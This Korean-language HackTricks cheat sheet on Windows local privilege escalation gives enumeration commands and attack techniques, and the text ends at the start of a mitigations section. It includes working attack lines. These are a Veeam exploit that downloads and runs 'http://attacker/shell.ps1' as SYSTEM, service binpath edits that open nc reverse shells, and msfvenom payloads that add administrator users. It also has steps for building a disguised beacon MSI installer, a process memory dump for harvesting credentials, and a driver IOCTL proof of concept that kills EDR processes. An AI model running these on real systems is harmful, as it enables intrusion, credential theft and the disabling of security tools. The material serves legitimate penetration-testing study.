Windows Local Privilege Escalation

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

Windows local privilege escalation 벡터를 찾기 위한 최고의 도구: WinPEAS

초기 Windows 이론

Access Tokens

Windows Access Tokens를 모르는 경우, 계속하기 전에 다음 페이지를 읽으세요:

Access Tokens

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEs에 대한 자세한 정보는 다음 페이지를 확인하세요:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Windows의 integrity levels를 모르는 경우 계속하기 전에 다음 페이지를 읽어야 합니다:

Integrity Levels

Windows Security Controls

Windows에는 시스템을 열거하지 못하게 하는, 실행 파일 실행을 방해하는 또는 심지어 활동을 탐지하는 다양한 요소가 있습니다. privilege escalation 열거를 시작하기 전에 다음 페이지를 읽고, 이러한 모든 방어 메커니즘을 열거해야 합니다:

Windows Security Controls

System Info

Version info enumeration

Windows 버전에 알려진 취약점이 있는지 확인하세요(적용된 패치도 함께 확인하세요).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

이 site는 Microsoft 보안 취약점에 대한 상세 정보를 검색하는 데 유용합니다. 이 데이터베이스에는 4,700개가 넘는 보안 취약점이 있어 Windows 환경이 제공하는 방대한 공격 표면을 보여줍니다.

시스템에서

• post/windows/gather/enum_patches
• post/multi/recon/local_exploit_suggester
• watson
• winpeas (Winpeas has watson embedded)

시스템 정보로 로컬에서

• https://github.com/AonCyberLabs/Windows-Exploit-Suggester
• https://github.com/bitsadmin/wesng

Github의 exploits 저장소:

• https://github.com/nomi-sec/PoC-in-GitHub
• https://github.com/abatchy17/WindowsExploits
• https://github.com/SecWiki/windows-kernel-exploits

환경

Any credential/Juicy info saved in the env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell 기록

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell 전사(Transcript) 파일

이 기능을 활성화하는 방법은 https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/에서 확인할 수 있습니다.

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

PowerShell 파이프라인 실행에 대한 세부 정보가 기록됩니다. 여기에는 실행된 명령, 명령 호출 및 스크립트 일부가 포함됩니다. 다만 전체 실행 내용과 출력 결과가 모두 캡처되지 않을 수 있습니다.

이를 활성화하려면 문서의 “Transcript files” 섹션에 있는 지침을 따르고 **“Module Logging”**을 “Powershell Transcription” 대신 선택하세요.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

PowersShell 로그의 마지막 15개 이벤트를 보려면 다음을 실행하세요:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

스크립트 실행의 모든 활동과 전체 내용이 기록되어, 실행되는 모든 코드 블록이 실행 시점에 문서화되도록 보장합니다. 이 과정은 각 활동에 대한 포괄적인 감사 추적을 보존하여 포렌식 조사와 악성 행위 분석에 유용합니다. 실행 시점에 모든 활동을 문서화함으로써 프로세스에 대한 상세한 인사이트를 제공합니다.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block에 대한 로깅 이벤트는 Windows Event Viewer의 다음 경로에서 찾을 수 있습니다: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
최근 20개 이벤트를 보려면 다음을 사용할 수 있습니다:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

인터넷 설정

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

드라이브

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

업데이트가 httpS가 아닌 http로 요청되는 경우 시스템을 침해할 수 있습니다.

다음 명령을 cmd에서 실행하여 네트워크가 SSL이 아닌 WSUS 업데이트를 사용하는지 확인합니다:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

또는 PowerShell에서 다음을 실행:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

다음과 같은 응답을 받으면:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.

그러면, 취약합니다. 마지막 레지스트리 값이 0이면 WSUS 항목은 무시됩니다.

이 취약점을 악용하기 위해 다음과 같은 도구들을 사용할 수 있습니다: Wsuxploit, pyWSUS — 이들은 non-SSL WSUS 트래픽에 ‘가짜’ 업데이트를 주입하는 MiTM 기법의 weaponized exploit 스크립트입니다.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
기본적으로 이 결함은 이 버그가 악용하는 문제입니다:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

이 취약점은 도구 WSUSpicious를 사용해 악용할 수 있습니다(일단 확보되면).

Third-Party Auto-Updaters and Agent IPC (local privesc)

많은 엔터프라이즈 에이전트는 localhost IPC 인터페이스와 권한 있는 업데이트 채널을 노출합니다. 등록(enrollment)이 공격자 서버로 강제되거나 updater가 악성 루트 CA를 신뢰하거나 서명 검증이 약하면, 로컬 사용자는 SYSTEM 서비스가 설치하는 악성 MSI를 전달할 수 있습니다. 일반화된 기법(Netskope stAgentSvc 체인 기반 – CVE-2025-0309)은 여기 참조:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 은 TCP/9401에서 localhost 서비스를 노출하며, 공격자가 제어하는 메시지를 처리해 NT AUTHORITY\SYSTEM 권한으로 임의 명령을 실행할 수 있습니다.

• Recon: 리스너와 버전을 확인하세요. 예: netstat -ano | findstr 9401 및 (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
• Exploit: 필요한 Veeam DLL들과 함께 VeeamHax.exe 같은 PoC를 동일 디렉터리에 배치한 다음, 로컬 소켓을 통해 SYSTEM 페이로드를 트리거하세요:

.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

서비스는 명령을 SYSTEM으로 실행합니다.

KrbRelayUp

특정 조건 하에서 Windows 도메인 환경에는 local privilege escalation 취약점이 존재합니다. 이러한 조건에는 LDAP signing is not enforced, 상태의 환경, 사용자가 Resource-Based Constrained Delegation (RBCD) 를 구성할 수 있는 self-rights를 보유한 경우, 그리고 도메인 내에서 컴퓨터를 생성할 수 있는 권한이 있는 경우가 포함됩니다. 이 requirements 는 default settings 로도 충족된다는 점을 유의하세요.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

공격 흐름에 대한 자세한 내용은 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ 를 확인하세요

AlwaysInstallElevated

If 이 2개의 레지스트리 항목이 enabled (값이 0x1)이면, 모든 권한의 사용자는 NT AUTHORITY\SYSTEM 권한으로 *.msi 파일을 설치(실행)할 수 있습니다.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated

PowerUP

Use the Write-UserAddMSI command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):

Write-UserAddMSI

생성된 바이너리를 실행하기만 하면 권한 상승이 됩니다.

MSI Wrapper

이 튜토리얼을 읽어 MSI wrapper를 만드는 방법을 배우세요. .bat 파일은 단지 command lines만 실행하려는 경우 래핑할 수 있습니다.

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

• Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
• Visual Studio를 열고 Create a new project를 선택한 후 검색 상자에 “installer“를 입력하세요. Setup Wizard 프로젝트를 선택하고 Next를 클릭하세요.
• 프로젝트 이름을 예: AlwaysPrivesc 로 지정하고, 위치는 C:\privesc 를 사용하세요. place solution and project in the same directory를 선택하고 Create를 클릭하세요.
• 단계 3/4(포함할 파일 선택)가 나올 때까지 Next를 계속 클릭하세요. Add를 클릭해 방금 생성한 Beacon payload를 선택한 다음 Finish를 클릭하세요.
• Solution Explorer에서 AlwaysPrivesc 프로젝트를 선택하고 Properties에서 TargetPlatform을 x86에서 x64로 변경하세요.
• 설치된 앱을 더 그럴듯하게 보이게 하기 위해 Author나 Manufacturer 같은 다른 속성들도 변경할 수 있습니다.
• 프로젝트를 우클릭하고 View > Custom Actions를 선택하세요.
• Install을 우클릭하고 Add Custom Action을 선택하세요.
• Application Folder를 더블클릭하고 beacon.exe 파일을 선택한 후 OK를 클릭하세요. 이렇게 하면 인스톨러가 실행되면 바로 beacon payload가 실행됩니다.
• Custom Action Properties에서 Run64Bit를 True로 변경하세요.
• 마지막으로 프로젝트를 빌드하세요.
• 경고 File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'가 표시되면 플랫폼을 x64로 설정했는지 확인하세요.

MSI Installation

악성 .msi 파일을 백그라운드에서 설치하려면:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

이 취약점을 악용하려면 다음을 사용할 수 있습니다: exploit/windows/local/always_install_elevated

안티바이러스 및 탐지기

감사 설정

이 설정은 무엇이 기록되는지를 결정하므로 주의하세요.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, logs가 어디로 전송되는지 아는 것은 흥미롭다

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS는 도메인에 가입된 컴퓨터에서 로컬 Administrator 암호를 관리하도록 설계되었으며, 각 암호가 고유하고 무작위이며 정기적으로 갱신되도록 보장합니다. 이러한 암호는 Active Directory에 안전하게 저장되며 ACLs를 통해 충분한 권한이 부여된 사용자만 액세스할 수 있어, 권한이 있는 경우에만 로컬 admin 암호를 열람할 수 있습니다.

LAPS

WDigest

활성화되어 있으면 평문 암호는 LSASS에 저장됩니다 (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Windows 8.1부터 Microsoft는 Local Security Authority (LSA)에 대해 신뢰할 수 없는 프로세스가 메모리를 읽거나 코드를 주입하려는 시도를 차단하도록 향상된 보호를 도입하여 시스템을 더욱 안전하게 했습니다.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard은 Windows 10에서 도입되었습니다. 그 목적은 장치에 저장된 credentials를 pass-the-hash 공격과 같은 위협으로부터 보호하는 것입니다.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials는 Local Security Authority (LSA)에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그온 데이터가 등록된 보안 패키지에 의해 인증되면, 일반적으로 해당 사용자에 대한 domain credentials가 생성됩니다.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

사용자 및 그룹

사용자 및 그룹 열거

자신이 속한 그룹 중 흥미로운 권한을 가진 그룹이 있는지 확인해야 합니다.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

특권 그룹

만약 당신이 특권 그룹에 속해 있다면 권한을 상승시킬 수 있습니다. 여기에서 특권 그룹과 이를 악용해 권한을 상승시키는 방법을 알아보세요:

Privileged Groups

토큰 조작

더 알아보기: 이 페이지에서 토큰이 무엇인지 확인하세요: Windows Tokens.
다음 페이지에서 흥미로운 토큰에 대해 배우고 이를 악용하는 방법을 확인하세요:

Abusing Tokens

로그인된 사용자 / 세션

qwinsta
klist sessions

홈 폴더

dir C:\Users
Get-ChildItem C:\Users

암호 정책

net accounts

클립보드의 내용 가져오기

powershell -command "Get-Clipboard"

실행 중인 프로세스

파일 및 폴더 권한

우선, 프로세스 목록을 확인하여 프로세스의 command line에 passwords가 있는지 확인하세요.
실행 중인 binary를 덮어쓸 수 있는지 또는 binary 폴더에 쓰기 권한이 있는지 확인하여 잠재적인 DLL Hijacking attacks를 악용할 수 있는지 확인하세요:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

항상 electron/cef/chromium debuggers가 실행 중인지 확인하세요. 권한 상승에 악용할 수 있습니다.

프로세스 바이너리의 권한 확인

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

프로세스 바이너리 폴더의 권한 확인 (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

sysinternals의 procdump를 사용하여 실행 중인 프로세스의 메모리 덤프를 생성할 수 있습니다. FTP와 같은 서비스는 메모리에 credentials in clear text in memory로 남아있는 경우가 있으니, 메모리를 덤프하여 credentials를 읽어보세요.

procdump.exe -accepteula -ma <proc_name_tasklist>

취약한 GUI 앱

SYSTEM으로 실행되는 애플리케이션은 사용자가 CMD를 실행하거나 디렉터리를 탐색할 수 있게 할 수 있습니다.

예: “Windows Help and Support” (Windows + F1)에서 “command prompt“를 검색한 다음 “Click to open Command Prompt“를 클릭합니다.

서비스

Service Triggers는 특정 조건(예: named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh 등)이 발생할 때 Windows가 서비스를 시작하게 합니다. SERVICE_START 권한이 없어도 트리거를 작동시켜 권한 있는 서비스를 시작할 수 있는 경우가 많습니다. 열거 및 활성화 기법은 다음을 참조하세요:

Service Triggers

서비스 목록 가져오기:

net start
wmic service list brief
sc query
Get-Service

권한

서비스 정보를 얻기 위해 sc를 사용할 수 있습니다.

sc qc <service_name>

각 서비스에 필요한 권한 수준을 확인하려면 _Sysinternals_의 binary accesschk를 사용하는 것이 권장됩니다.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

“Authenticated Users“가 어떤 서비스를 수정할 수 있는지 확인하는 것이 권장됩니다:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

서비스 활성화

오류가 다음과 같이 발생하는 경우(예: SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

다음 명령으로 활성화할 수 있습니다

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

upnphost 서비스는 작동하기 위해 SSDPSRV에 의존한다는 점을 고려하세요 (for XP SP1)

또 다른 우회 방법은 이 문제에 대해 다음을 실행하는 것입니다:

sc.exe config usosvc start= auto

서비스 바이너리 경로 수정

서비스에 대해 “Authenticated users” 그룹이 SERVICE_ALL_ACCESS 권한을 가진 경우, 서비스의 실행 파일 바이너리를 수정할 수 있습니다. 서비스를 수정하고 실행하려면 sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

서비스 재시작

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

권한 승격은 다음과 같은 권한을 통해 이루어질 수 있습니다:

• SERVICE_CHANGE_CONFIG: 서비스 바이너리를 재구성할 수 있습니다.
• WRITE_DAC: 권한 재구성이 가능하여 서비스 구성을 변경할 수 있게 합니다.
• WRITE_OWNER: 소유권 획득 및 권한 재구성을 허용합니다.
• GENERIC_WRITE: 서비스 구성을 변경할 수 있는 권한을 상속합니다.
• GENERIC_ALL: 마찬가지로 서비스 구성을 변경할 수 있는 권한을 상속합니다.

이 취약점의 탐지 및 악용에는 exploit/windows/local/service_permissions 를 사용할 수 있습니다.

서비스 바이너리의 약한 권한

서비스에 의해 실행되는 바이너리를 수정할 수 있는지 또는 바이너리가 위치한 폴더에 쓰기 권한이 있는지 확인하세요 (DLL Hijacking).
서비스에 의해 실행되는 모든 바이너리는 wmic (not in system32)를 사용해 얻을 수 있으며, icacls로 권한을 확인할 수 있습니다:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

또한 sc 및 icacls를 사용할 수 있습니다:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

서비스 레지스트리 수정 권한

서비스 레지스트리를 수정할 수 있는지 확인해야 합니다.
다음과 같이 서비스 레지스트리에 대한 권한을 확인할 수 있습니다:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

서비스가 실행하는 바이너리를 변경할 수 있으므로 Authenticated Users 또는 NT AUTHORITY\INTERACTIVE가 FullControl 권한을 가지고 있는지 확인해야 합니다.

실행되는 바이너리의 Path를 변경하려면:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

서비스 레지스트리 AppendData/AddSubdirectory 권한

If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:

AppendData/AddSubdirectory permission over service registry

인용부호 없는 서비스 경로

If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

기본 제공 Windows 서비스에 속하지 않는 항목을 제외하고, 인용부호가 없는 모든 서비스 경로를 나열하세요:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

이 취약점은 metasploit을 사용해 탐지하고 악용할 수 있습니다: exploit/windows/local/trusted\_service\_path
metasploit으로 수동으로 서비스 바이너리를 생성할 수 있습니다:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

복구 작업

Windows는 서비스가 실패했을 때 수행할 작업을 사용자가 지정할 수 있도록 허용합니다. 이 기능은 특정 바이너리를 가리키도록 구성할 수 있습니다. 해당 바이너리를 교체할 수 있다면 권한 상승이 가능할 수 있습니다. 자세한 내용은 공식 문서에서 확인하세요.

애플리케이션

설치된 애플리케이션

바이너리의 권한을 확인하세요(아마 하나를 덮어써서 권한 상승이 가능할 수 있습니다) 및 폴더의 권한도 확인하세요 (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

쓰기 권한

구성(config) 파일을 수정해 특정 파일을 읽을 수 있는지, 또는 Administrator 계정에서 실행될 바이너리(예: schedtasks)를 수정할 수 있는지 확인하세요.

시스템에서 권한이 약한 폴더/파일을 찾는 한 가지 방법은 다음과 같습니다:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

시작 시 실행

다른 사용자가 실행할 registry 또는 binary를 덮어쓸 수 있는지 확인하세요.
읽어보세요 다음 페이지에서 흥미로운 autoruns locations to escalate privileges에 대해 더 알아보세요:

Privilege Escalation with Autoruns

드라이버

가능한 third party weird/vulnerable 드라이버를 찾아보세요

driverquery
driverquery.exe /fo table
driverquery /SI

드라이버가 arbitrary kernel read/write primitive를 노출할 경우 (잘못 설계된 IOCTL 핸들러에서 흔함), 커널 메모리에서 직접 SYSTEM token을 훔쳐 권한을 상승시킬 수 있습니다. 단계별 기법은 다음을 참조하세요:

Arbitrary Kernel Rw Token Theft

취약한 호출이 공격자가 제어하는 Object Manager 경로를 열 때 발생하는 race-condition 버그의 경우, 조회를 일부러 느리게(최대 길이 컴포넌트나 깊은 디렉터리 체인을 사용) 하면 윈도우를 마이크로초 단위에서 수십 마이크로초로 늘릴 수 있습니다:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

최신 hive 취약점은 결정론적 레이아웃을 조성하고, 쓰기 가능한 HKLM/HKU 하위 항목을 악용하며, 메타데이터 손상을 커널 paged-pool overflow로 전환하는 것을 커스텀 드라이버 없이 가능하게 합니다. 전체 체인은 다음을 참조하세요:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

일부 서명된 서드파티 드라이버는 IoCreateDeviceSecure를 통해 강력한 SDDL로 device object를 생성하지만 DeviceCharacteristics에 FILE_DEVICE_SECURE_OPEN을 설정하는 것을 잊습니다. 이 플래그가 없으면, 추가 컴포넌트를 포함한 경로로 디바이스를 열 때 secure DACL이 적용되지 않아, 비권한화된 사용자도 다음과 같은 namespace 경로를 사용해 핸들을 얻을 수 있습니다:

• \ .\DeviceName\anything
• \ .\amsdk\anyfile (from a real-world case)

사용자가 디바이스를 열 수 있게 되면, 드라이버가 노출한 privileged IOCTLs를 LPE 및 변조에 악용할 수 있습니다. 실제 사례에서 관찰된 예시 기능:

• 임의 프로세스에 대한 full-access 핸들을 반환 (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
• 제한 없는 raw disk read/write (offline tampering, boot-time persistence tricks).
• Protected Process/Light (PP/PPL)를 포함한 임의의 프로세스를 종료하여, kernel을 통해 user land에서 AV/EDR을 종료할 수 있게 함.

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

개발자를 위한 완화 조치

